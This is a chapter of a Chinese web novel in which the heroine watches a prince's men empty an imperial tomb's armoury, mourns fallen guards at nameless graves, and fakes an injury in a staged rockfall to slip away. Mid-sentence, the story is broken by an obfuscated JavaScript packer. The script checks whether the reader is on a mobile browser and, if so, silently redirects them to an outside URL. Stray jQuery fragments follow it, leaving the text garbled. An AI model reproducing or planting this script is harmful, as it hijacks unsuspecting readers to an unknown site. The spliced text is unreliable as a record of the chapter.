50. 分道扬镳
作品:《凤傲天有不测风云》 黎明,晨光尚未彻底驱散利琅山间的薄雾,整片山腹溶洞区域便被森然肃穆的气氛所笼罩。身着铠甲、手持长戟的兵士们严阵以待,将外围各处路径把守得密不透风,任何闲杂人等都不得擅自靠近。
甚至包括此番随行的朝中大小官吏——无论工部、兵部,官职大小,均不例外。
张铎倒还和气地安抚同僚道:“到底是天家威仪,理当如此肃静,以免惊扰圣灵安息。”
众人纷纷点头称是,对此严密的守卫表示理解与敬畏,无人敢有异议,更无人敢上前探问。
慕容青同样不问,她直接隐匿在远处的一座矮坡后,凝神眺望,仔细观察。这个距离,根本没有守卫,也就她还能勉勉强强看清。
除了负责运送先帝梓宫的队伍抬着长杠进行着缓慢的作业外,另还有多支截然不同的小队在同时忙碌着。
这些士兵训练有素,动作迅捷,两人一组,或抬或扛,正从地下洞口不断运出一口口沉重硕大的木箱。
那些木箱样式统一,木质厚重,边角包裹着防止磕碰的金属皮。从兵士们沉腰发力、累得满头大汗的模样,不难判断其内所载之物分量极重。
慕容青凝眸细看,恰见一名兵士脚下一滑,不慎将木箱倾斜砸到地上,箱盖磕开一道缝隙——旭日照耀下,内里赫然反射出兵刃特有的冷硬寒芒。
本就看那些箱子眼熟,这下更是确凿无疑了。慕容青当即明白,肖平这是要搬空地宫武库。
当年先帝下葬时,如今高坐龙椅的那位,既舍不得将国库与内帑中的珍宝玉器填入陵寝,又想平息本就沸反盈天的朝臣非议,便将彼时大量囤积的军械武备,挪用了一部分充作陪葬品,美其名曰“以武镇陵,护佑山河”。
这些东西数量之多,足以武装一支数千人的私军而绰绰有余。
而钱库的银两恐怕也是要尽入囊中了,此次地宫大开,正是浑水摸鱼的最佳时机,她不相信肖平会放过。
想通了这一层,另一个人的态度便显得格外耐人寻味——镇陵监主将朱彪。
肖平这般调集人手,在他眼皮子底下行事,他绝无可能一无所知。
然而从最开始他们来到利琅山起,无论是围堰开凿,还是转运物资,这位手握亥陵实际权力的最高将领,就一直躲在幕后,鲜少露面,不曾对肖平的行为有过任何明确的指示或阻拦。
一切需要配合的地方都是由副将肖炎去执行,而肖炎的身份不言自明。
好个精于算计的老狐狸。慕容青感慨,朱彪的默许,证明他和肖平在某种程度上一定有所勾连,结盟也好,贿赂也罢,都有一个底线——那就是要撇清自己保留后路。
一旦事发,他只消推说自己万事不知,将一切罪责归咎于晋王世子的胆大妄为、副将的擅自行事,而他顶多落个玩忽职守、监管不力的罪名。
这些永无止境的权力博弈,纠缠不休的尔虞我诈,无论在哪朝哪代,何时何地,都似一张无形的巨网,牢牢裹缠着所有人。
人人都说厌倦,人人又乐此不彼。
明明连首鼠两端的朱彪都费心拉拢,却偏要她离开,搞不懂肖平葫芦里到底卖的什么药,但今日,她腰间的葫芦里装了酒。
没必要再继续窥探,慕容青带着清酒香烛等祭品,独自一人踏上了通往望月崖的山路。
山风凛冽,崖边竹林依旧,只是比记忆中更加茂密苍翠。
她原以为星霜荏苒,当年那场惨烈厮杀留下的痕迹定早被岁月和风雨抹平,此行也不过是凭吊天地,遥寄怀思。
可当她拨开丛生的杂草,步入竹林深处时,整个人却定在原地——眼前,赫然立着两排青石碑。
离她最近的碑上空无一字,没有名讳,没有生平,只以刚柔相济的刀法,深刻着一朵朵舒展的祥云。
慕容青蹲下身,指尖轻轻拂过石碑表面。
石质已然泛黄,边缘生出了斑驳的青苔,一些细微的裂纹如同光阴的年轮,深深烙印其上。另一块也是同样,这些石碑在此处,至少已历经了十几载寒暑。
她知道她们是谁,她们追随的人在脱险后曾悄悄回到这里,收敛了她们的遗骸,为她们立下这无名的坟冢。
化作天空真正的云,是他所能给予的,最宁静温柔的祝福。
而另一些疏疏落落的坟冢,碑上的名字并非她熟识之人。
可是,被端正摆放在石碑前的佩刀她却认得,开樋的形制,刀镡上特殊的纹印……那是十五年前,亥陵还在她辖下时镇陵军的佩刀。
最后护卫她的那支小队,她还来不及知道他们的名字,而现在,她记住了。
拔开葫芦塞,慕容青将清冽的酒液缓缓洒在竹林间。她伫立良久,千言万语哽在喉间,只得一句:
“他年泉下相逢,再与诸位共饮。”
两日后,肖平派人请她前去地宫“再行勘察”,慕容青心知肚明,自然也懒得带什么工具,一袭素衣,两手空空就去了。
溪真道长早已候在洞中,见着她忙迎上来,大声道:“昭大人,近日这岩顶似乎不甚稳固,方才还有碎石落下,实在令人担忧啊!”
怎么演技突然这么浮夸,慕容青眨巴眼,“道长也来勘察?”
溪真拂尘一甩,一本正经道:“贫道是来看风水的。”
为首为他们开路的正是四和,走了没几步,他也停下来板着脸孔,刻意营造起凝重的氛围:“昭大人、溪真道长,都小心些,此处落石有大有小,不留神可是会砸死人的。”
跟他一比,溪真的表演还是挺自然的,难怪肖平要把这小子打发出来。
慕容青暗叹一声,配合地抬头佯装张望,语气带着恰到好处的愚蠢:“是吗,应该不会吧……”
她这边还没演完,只听“咔”一声脆响,顶上的岩石干脆利落掉了下来!
一群人瞬间作鸟兽散,慕容青自然也不例外,趁周围人注意力都在洞顶,四和一脚踢碎道旁的麻袋,两股烟尘合在一起,洞内立刻影影绰绰,啥也看不清。
“啊!”
不知是谁夸张地惊呼一声,慕容青顺势歪倒,“恰巧”靠在那块坠落的岩石边,人事不省。
而四和则麻利地掏出水囊,撒了她一身鸡血,尤其是腿。
片刻后尘埃落定,现场嘈杂不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16930938|192123||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
已。
“不好了!昭大人被落石砸伤了!”
“还愣着干什么!快取担架来!”
“眼下山里没有军医,怎么办?”
“世子有令,即刻送昭大人下山医治!”
……
抬担架的队伍还特地绕着镇陵监溜了一圈,确保亲眼见到她“伤重昏迷”的人不在少数——慕容青全程紧闭双眼,着实希望自己能真晕过去算了。
直至大队人马班师回朝,再没有人见过昭将作,毕竟她那日伤得不轻,就算能侥幸捡回一条命,恐怕也得落下残疾,看那样子,只怕是再难行走。
车辙印凌乱地延伸向远方,营地仅余最后数辆马车尚未开拔。亲兵上前禀报道:“殿下,时辰已到,是否启程?”
肖平坐在马车内,目光穿过青山旧雨,烟岚云岫,飘忽不定。这一方天地埋藏着诸多的往事与牵挂,而他终归得要放下。
“出发。”
马车缓缓前行,车轮碾过碎石,发出辘辘的声响,与此同时,山道旁的密林中,一道青色身影敏捷地从一株古松上飞身而下。
见她如约而至,四和从车辕上跳下来,悠闲地吐掉一直叼在嘴里的草根,语气轻松地问:“昭姑娘,可以走了吗?”
慕容青拍了拍手上的灰尘,没有立刻回答,而是走到马车旁,伸手摸了摸其中一匹枣红马的脖颈。
那马儿打了个响鼻,温顺地蹭了蹭她的手心,她这才侧过头,看向四和笑道:“你倒是等得很放心,就不怕我方才趁机从别的方向溜了?”
四和抱臂而立,闻言脸上露出一抹了然的神情,“怎么可能?公子说昭姑娘一诺千金,既然应了他,便绝不会食言。”
慕容青沉吟道:“倒也不必如此过奖……”
“快走吧,”四和催道,“护送你的可不止我一个,还有一队人马在山脚等着呢。”
他们这辆打头的马车还是跟镇陵监借的,虽然是辕马,倒也配了简易的鞍具。慕容青手指轻轻敲着马鞍前桥,若有所思问:“你骑术怎么样?”
“一般,尚可,差不多吧?”四和一愣,没想到她会问这个,回答得颇为实在。很快他反应过来,忙问:“难道你想骑马?倒也不用这么急吧,万一被人发现了你的行踪怎么办?”
“无妨。”慕容青利落地从随身携带的包袱里取出一顶四周垂着轻薄黑纱的帷帽,“这样便可以掩人耳目。我们要在三日之内赶到最近的城池。”
“三日?!”四和声调不禁拔高,“从利琅山到最近的城池怎么也得四五天,为什么要这么赶……”
他话音未落,慕容青已然解开套索翻身上马,整套动作行云流水,显是早有成算。
“没关系,我先去。你若跟不上,便慢慢驾车来吧。”她夹紧马腹,低喝一声:“驾!”
枣红马应声长嘶,离弦箭般奋蹄奔驰而去。四和哪里还顾得上那么多,手忙脚乱冲向另一匹马,边调整缰绳边念叨“算了算了早完成任务早复命”,扬手挥鞭催马狂追,留下一路烟尘。
两道身影一前一后,朝着与世子车队截然相反的方向,很快消失在官道尽头。

